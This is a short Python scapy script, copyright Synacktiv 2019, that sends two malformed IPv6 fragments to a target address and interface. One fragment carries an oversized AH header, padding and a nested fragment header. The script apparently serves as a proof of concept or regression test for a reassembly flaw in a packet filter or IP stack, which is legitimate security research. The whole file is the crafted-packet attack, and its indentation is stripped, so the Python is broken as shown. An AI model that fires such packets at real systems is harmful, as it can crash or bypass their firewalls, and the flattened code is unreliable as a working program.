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#!/usr/bin/env python3
#
# SPDX-License-Identifier: BSD-2-Clause-FreeBSD
#
# Copyright (c) 2019 Synacktiv
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
import random
import scapy.all as sp
import sys
UDP_PROTO = 17
AH_PROTO = 51
FRAG_PROTO = 44
def main():
intf = sys.argv[1]
ipv6_src = sys.argv[2]
ipv6_dst = sys.argv[3]
ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)
padding = 8
fid = random.randint(0,100000)
frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)
foff_1 = (int)(padding/8)
frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=foff_1)
pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \
/ sp.Raw('XXXX' * 199) \
/ sp.AH(nh=FRAG_PROTO, payloadlen=1) \
/ frag_1
pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)
pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)
sp.sendp(pkt0, iface=intf, verbose=False)
sp.sendp(pkt1, iface=intf, verbose=False)
if __name__ == '__main__':
main()
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